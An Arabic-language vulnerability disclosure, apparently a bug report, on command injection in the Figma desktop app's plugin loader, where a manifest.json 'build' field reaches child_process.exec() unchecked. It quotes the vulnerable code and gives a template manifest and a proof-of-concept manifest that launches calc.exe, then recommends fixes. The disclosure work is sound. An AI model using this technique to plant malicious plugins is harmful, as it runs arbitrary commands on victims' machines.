
ثغرة حقن أوامر نظام التشغيل عبر تنفيذ المكوّن الإضافي في تطبيق Figma المكتبي
يحتوي تطبيق Figma لسطح المكتب (v125.6.5) على ثغرة حقن أوامر في محمّل المكوّنات الإضافية.
يمكن لملف بيان مكوّن إضافي خبيث (manifest.json) إساءة استخدام حقل build، الذي يُمرَّر مباشرةً إلى child_process.exec() دون أي تحقق.
يسمح ذلك بتنفيذ أوامر نظام تشغيل عشوائية فور تحميل المكوّن الإضافي، دون تحذيرات أمنية أو مطالبات.
ينبع أصل الثغرة من كود موجود في main.js، والذي يستورد وحدة child_process المدمجة في Node.js:
Zlt = require("child_process")
لاحقًا، إذا كان حقل build موجودًا في ملف manifest.json الخاص بمكوّن إضافي وكانت قيمته سلسلة نصية، فإن التطبيق ينفّذ القيمة مباشرةً باستخدام child_process.exec() دون أي تعقيم أو تحقق:
if (
s.build &&
typeof s.build === "string" &&
(l.path = process.env.PATH || "",
await new Promise((g) => {
(0, Zlt.exec)(s.build, { cwd: i }, (y, I, P) => {
l.stdout = I;
l.stderr = P;
y && (l.buildErrCode = y.code);
g();
});
}),
l.buildErrCode
)
return l;
ونتيجةً لذلك، فإن ملف manifest.json التالي الموجود داخل مكوّن إضافي خبيث سيؤدي إلى تنفيذ قيمة حقل build كأمر نظام تشغيل:
{
"name": "<NAME>",
"id": "<ID>",
"api": "1.0.0",
"main": "code.js",
"build": "<COMMAND>",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
مسار التنفيذ هذا مضمّن في منطق معالجة المكوّنات الإضافية في Figma، ويؤكد تضمين استدعاء require("child_process") داخل main.js أن تنفيذ الأوامر مبني مباشرةً في المنطق الأساسي للتطبيق.
من خلال تشغيل مكوّن إضافي يتضمن ملف manifest.json الخبيث التالي:
{
"name": "poc",
"id": "1535549154235958412",
"api": "1.0.0",
"main": "code.js",
"build": "calc.exe",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
بمجرد تسجيل هذا المكوّن الإضافي في Figma وتنفيذه، يعمل أمر نظام التشغيل المحدد (calc.exe) فورًا.
https://github.com/user-attachments/assets/48e0a47a-0d1c-4a92-b9ff-33e9559fd5e7
على الرغم من أن تنفيذ حقل build يُعد ميزة مدعومة رسميًا في تطبيق Figma لسطح المكتب، يجب على التطبيق تجنّب الاعتماد على الحقول التي يتحكم فيها المستخدم في manifest.json، مثل build، أينما أمكن.
إذا كان لا بد من دعم هذه الحقول، فيجب أن تخضع لتحقق صارم من المدخلات لمنع حقن الأوامر.
بالإضافة إلى ذلك، يجب تجنّب استخدام child_process.exec() في Node.js، واعتماد بدائل أكثر أمانًا مع معالجة صريحة للوسائط بدلًا من ذلك.